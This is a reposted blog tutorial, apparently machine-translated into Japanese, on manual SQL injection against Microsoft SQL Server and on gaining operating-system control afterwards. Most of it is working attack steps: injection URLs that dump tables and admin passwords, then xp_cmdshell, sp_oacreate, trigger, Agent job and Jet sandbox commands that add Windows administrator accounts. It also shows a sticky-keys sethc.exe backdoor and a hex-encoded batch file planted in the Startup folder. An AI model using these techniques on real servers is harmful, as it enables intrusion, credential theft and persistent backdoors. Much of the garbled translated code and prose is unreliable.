MSSQLインジェクションmssql特権昇格の手動インジェクション

mssqlデータベース

mysqlデータベースと比較すると、mssqlデータベースのフレームワークは本質的に類似しています。追加、削除、変更、およびチェックに使用されるコマンドは相互運用可能です。mysqlで使用される一部の関数はmssqlでは機能しません。

MSSQLデータベースの基本的な知識

MSSQLにはデータベース情報が付属しています

ライブラリ名 関連機能
主人 構成情報、ユーザーログイン情報、システム実行ステータスを含むシステム制御データベース
モデル テンプレートデータベース、データベースが作成されると、すべてのデータベースのテンプレートが作成されます。
tempdb 他のプログラムと相互作用するすべての一時テーブル、ストアドプロシージャ、および一時ファイルを保持する一時コンテナ
msdb 主にユーザーが使用し、計画情報、イベント処理情報、データバックアップ、警告、異常情報を記録します

MSSQLシステムビューテーブル(MYSQLデータベースのようなMSSQLデータベースには、データテーブルsysobjectsおよびsyscolumnsが付属しています)

テーブルを見る 特徴
sysobjects データベース内のすべてのテーブルが記録されます。一般的に使用されるフィールドは、id、name、およびxtypeです。
syscolumns データベース内のすべてのテーブルのフィールドを記録します。一般的に使用されるフィールドは、id、name、およびxtypeです。
sys.databases SQLServerのすべてのデータベース
sys.sql_logins SQLServerのすべてのログイン
information_schema.tables 現在のユーザーデータベースのテーブル
information_schema.columns 現在のユーザーデータベースの列
sys.database_files データベースに保存されているデータベースファイル

•查询所有表
•xtype=char(85)
のsysobjectsからトップ1 id、nameを選択します•xtype ='U'のsysobjectsからトップ1id、nameを選択します
•查询某TS表の列
•@objid int、@objnameを宣言しますchar(40)
•set @objname='admin'
•select@objid= id from sysobjects where id = object_id(@objname)
•select'Column_name' = name from syscolumns where id = @objid orderbycolid
•orer
•SELECT* SysColumnsからWHEREid= Object_Id('cmd')

注入ポイントを決定します

+1-1
一重引用符
の非明示的注入
ここに画像の説明を挿入

エラーインジェクション
ここに画像の説明を挿入

Mssqlデータベースの手動ジョイントインジェクション

  1. それがMssqlデータベースタイプであるかどうかを確認します

およびexists(select * from sysobjects)– 1
およびexists(select count(*)from sysobjects)– 1

ここに画像の説明を挿入

  1. 判断は次のように表示されます

事前に閉じるために1で注文する(あまり使いにくい)

ここに画像の説明を挿入

union select null、
nulluesr(クエリユーザー)db_name(
)データベース名
@@ version version
ここに画像の説明を挿入

ノンエラーインジェクション

http://192.168.31.73:8008/love/job_show.asp?user
dboは最高の権限を意味し、ユーザーの名前の場合は通常の権限を意味します

  1. ユーザー名をクエリ
id=-10+UNION+ALL+SELECT+'1',user,'3','4',null,null,null,null,null,null,null,ull,null,null,null,null,null,null,null,null,null,null--+  
  1. クエリテーブル名
http://192.168.226.153/labs/MSSQL-SQLi-Labs-master/less-1.asp?id=-1'+UNION+ALL+SELECT+db_name(),null,null --+
http://192.168.31.73:8008/love/job_show.asp?id=-10+UNION+ALL+SELECT+'1',NAME,'3','4',null,null,null,null,null,null,nul,null,null,null,null,null,null,null,null,null,null,null from sysobjects wheretype='U' AND NAME NOT IN('HECI')--+

エラーインジェクション

ここに画像の説明を挿入

およびuser>0–批用户
およびdb_name()> 0--神数測定名
およびconvert(int、db_name())
およびobject_name(user)> 0
およびfile_name(user)> 0
およびtype_name(user)>0
およびcol_name ()、1)> 0
およびschem_name(user)> 0

上記のすべては、文字列をエラーに渡すために整数を必要とします

エラーレポート名

http://192.168.226.153/labs/MSSQL-SQLi-Labs-master/less-1.asp?id=1' and 1=(select top 1 name from sysobjects where xtype='U' and name !='users') -- 1

ここに画像の説明を挿入

ブール注入

ブールインジェクション
?id = 1および(ascii(substring(user、1,1)))= 100

タイムインジェクション

?id = 1 ;; if(ascii(substring(user、1,1)))= 100 waitfor delay '0:0:2';-1

mssqlデータベース

samysqlのルート


ステップ1:すべてのデータベース名を分解する(括弧番号を変更する)
select convert(int、user)
select convert(int、db_name())
select file_name(db_name())
select file_name(user)
select db_name(user)
select col_name(db_name( )、1)
select object_name(db_name())
select schema_name(user)
select schema_name(db_name())

http://192.168.1.55/sqlserver/1.aspx?xxser=1およびdb_name(3)> 0–

TestDB
报错統合
?id = 1'および1=(xtype ='U'およびname!=' users'であるsysobjectsから上位1つの名前を選択)– 1

手順2:現在のライブラリ内のいくつかのテーブルを展開します(次の番号を変更します)
http://192.168.0.102/sqlserver/1.aspx?xxser=1および(select cast(count(1)as varchar(10))%2bchar (94)from [sysobjects] where xtype = char(85)and status!= 2)= 2–

?id = -1 union select 1、(xtype ='U'であるsysobjectsから上位1つの名前を選択)、3 – 1

不等式表andname!='referers'
?id = -1 union select 1、(xtype ='U'およびname!='referers'であるsysobjectsから上位1つの名前を選択)、3 – 1

2个表
第三步:暴表名
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1–

http://192.168.0.102/sqlserver/1.aspx?xxser=1 and 0 <>(xtype = 0x7500であるtestdb.dbo.sysobjectsからトップ1の名前を選択し、名前がない(testdb.dboからトップ1の名前を選択)。 sysobjects where xtype = 0x7500))–

2テーブル名Admin、test_tmp


ステップ4: 1 = 1 –を持つすべてのフィールド名を展開します

1 =1のフィールド名1でグループ化–

1 = 1のフィールド名1、フィールド名2でグループ化–

admin.id、admin.name、admin.passWord

ステップ5:n-1および1 = 2のユニオンによるバーストフィールド値
の順序は
、table_nameから1,2…、nを選択します

http://192.168.0.102/sqlserver/1.aspx?xxser=1 and(select top 1 isnull(cast([id] as nvarchar(4000))、char(32))%2bchar(94)%2bisnull(cast ([name] as nvarchar(4000))、char(32))%2bchar(94)%2bisnull(cast([password] as nvarchar(4000))、char(32))from[testdb]…[admin]where 1 = 1およびidが含まれていません([testdb]…[admin]から上位0のidを選択します。1= 1はidでグループ化します))>0および1= 1

mssql特権の昇格

特権の昇格xp_cmdshell

xp_cmdshellが存在するかどうかを確認します(0以外を返す場合は、存在します)
master.dbo.sysobjectsからcount(*)を選択します。ここでxtype='x'およびname='xp_cmdshell';

ここに画像の説明を挿入

#存在しない場合は、追加でき
ますEXECsp_addextendedproc xp_cmdshell、@ dllname ='xplog70.dll' declare @o int;
sp_addextendedproc'xp_cmdshell'、'xpsql70.dll';

#xp_cmdshellが有効になっているかどうかを確認します(コマンドを成功させるために試してください)Execmaster…xp_cmdshell'whoami
';

ここに画像の説明を挿入

SQLServer2005では、デフォルトで一部のストアドプロシージャが閉じられているため、コマンドを開く必要があります。xp_cmdshellを開く:execsp_configure
'詳細オプションを表示'、1; RECONFIGURE; EXEC
sp_configure'xp_cmdshell'、1;RECONFIGURE;xp_cmdshellを閉じる:execsp_configure
'詳細オプションを表示'、1; RECONFIGURE; EXEC
sp_configure'xp_cmdshell'、0; RECONFIGURE;
ここに画像の説明を挿入

Execmaster…xp_cmdshell'netuser roge 123456 / add';
Execmaster…xp_cmdshell'ネットローカルグループ管理者roge/add';
ここに画像の説明を挿入

xp_regread

ここに画像の説明を挿入
ここに画像の説明を挿入

特権昇格をトリガーする

更新後
に[test_table]にトリガー[roge1]を作成し、masterを実行し始めます…xp_cmdshell'net user jingfuwang 123456 / add' end update test_table set id = 44;




ここに画像の説明を挿入

ここに画像の説明を挿入

特権昇格をトリガーする

SQLServerでcomコンポーネント
sp_oacrateを使用します

特権昇格メソッドsp_oacreate

EXEC sp_configure'詳細オプションの表示'、1;
RECONFIGURE;-以前の設定を有効にしますEXECsp_configure
' Ole Automation Procedures'、1;
RECONFIGURE;
ここに画像の説明を挿入

declare @shell int
--使用sp_oacreate调用wscript.shell组件,将返回的对象存储到@shell变量中。
exec sp_oacreate'wscript.shell',@shell output
--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令,null是run方法的返回值,我们不需要用返回值,所以写null 
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user kpkp margin /add'
exec sp_oacreate'wscript.shell',@shell output
--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators kpkp /add'

ここに画像の説明を挿入

スケジュールされたタスク権限昇格

ここに画像の説明を挿入
ここに画像の説明を挿入
ここに画像の説明を挿入
ここに画像の説明を挿入
ここに画像の説明を挿入
ここに画像の説明を挿入
コマンドラインモード

msdbを使用します。
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1'、@ step_name = N'test_powershell_name1'、@ subsystem = N'CmdExec'、@ command = N'c:\ windows \ system32 \ cmd.exe / c whoami / all> c:\ 123.txt'、@retry_attempts = 1、@retry_interval = 5;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';

ここに画像の説明を挿入

mssqlインジェクション?
ユニオンクエリには、同じ数のユニオンフィールド列と同じフィールドデータ型が必要です。
エラーインジェクション1()object_id field_name x
ブール
時間ベースのif()waitfor '00:00:0x'
に基づく;スタックインジェクションに基づく

mssql特権の昇格:xp_cmdshell
はコマンドを実行しますsp_oacreateはコマンド
を呼び出しますwscript.shellはコマンド
トリガーを実行します特定のイベントが発生すると、コマンドを実行し
ます

特権の昇格にはサンドボックスモードを使用します

レジストリ
regeditを開きます

exec sp_configure'詳細オプションを表示'、1; reconfigure
ここに画像の説明を挿入
exec sp_configure'アドホック分散クエリ'、1; reconfigure;
ここに画像の説明を挿入
ここに画像の説明を挿入
execmaster…xp_regwrite'HKEY_LOCAL_MACHINE'、'SOFTWARE \ Microsoft \ Jet \ 4.0 \ Engines'、'SandBoxMode'、'REG_DWORD'、0;
ここに画像の説明を挿入
ここに画像の説明を挿入
select * from openrowset('microsoft.jet.oledb.4.0'、'; database = c:/windows/system32/ias/ias.mdb'、'select shell(“ net user bihuo_4_18 123456 / add”)')
ここに画像の説明を挿入
ここに画像の説明を挿入
exec sp_configure '詳細オプションを表示'、1; reconfigure
exec sp_configure'アドホック分散クエリ'、1; reconfigure;
execmaster…xp_regwrite'HKEY_LOCAL_MACHINE'、'SOFTWARE \ Microsoft \ Jet \ 4.0 \ Engines'、'SandBoxMode'、'REG_DWORD'、0;
select * from openrowset('microsoft.jet.oledb.4.0'、'; database = c:/windows/system32/ias/ias.mdb'、'select shell( "net user bihuo_4_18 123456 / add")')
ここに画像の説明を挿入

スティッキーキーの特権昇格

シフト
ここに画像の説明を挿入
シフトキーを押し続けます

ここに画像の説明を挿入
ここに画像の説明を挿入
ここに画像の説明を挿入
ここに画像の説明を挿入
ここに画像の説明を挿入

EXEC sp_configure'詳細オプションを表示'、1;
再構成;
EXEC sp_configure'Ole Automation Procedures'、1;
再構成;

@ 00 i nt
exec sp_oacreate'scripting.filesystemobject'、@ 00 out
execsp_oamethod @ 00、'copyfile'、nuII、'c:\ windows \ system32 \ ca14exe'、'c:\ indows \ system32
\ dIIcache\sethc.exeを宣言します'

ここに画像の説明を挿入
ここに画像の説明を挿入
ここに画像の説明を挿入
ここに画像の説明を挿入
ここに画像の説明を挿入

ここに画像の説明を挿入

差分バックアップ書き込みでスケジュールされたタスクを開始します

ここに画像の説明を挿入

ここに画像の説明を挿入
ALTERデータベーステストSET RECOVERY FULL;
表CMD1(イメージ)を作成し; -画像は、バイナリデータを表し
=ディスクへのバックアップデータベースのテストを'はC:\ suibian1' INITと; -
INSERT INTO CMD1(A)の値(0x406563686F206F66660D0A406364202577696E646972250D0A406E657420757365722061646D696E2061646D696E202F6164640D0A406E6574206C6F63616C67726F75702061646D696E6973747261746F72732061646D696E202F6164640D0A4064656C2073746172742E6261740D0A40657869740D0A400D0A) -
バックアップディスクへのデータベーステスト='C:\ Documents and Settings \ All Users \ Start Menu \ Programs \ Start \ start.bat' –
ドロップテーブルcmd1 –

ここに画像の説明を挿入

おすすめ

転載: blog.csdn.net/qq_42096378/article/details/124230245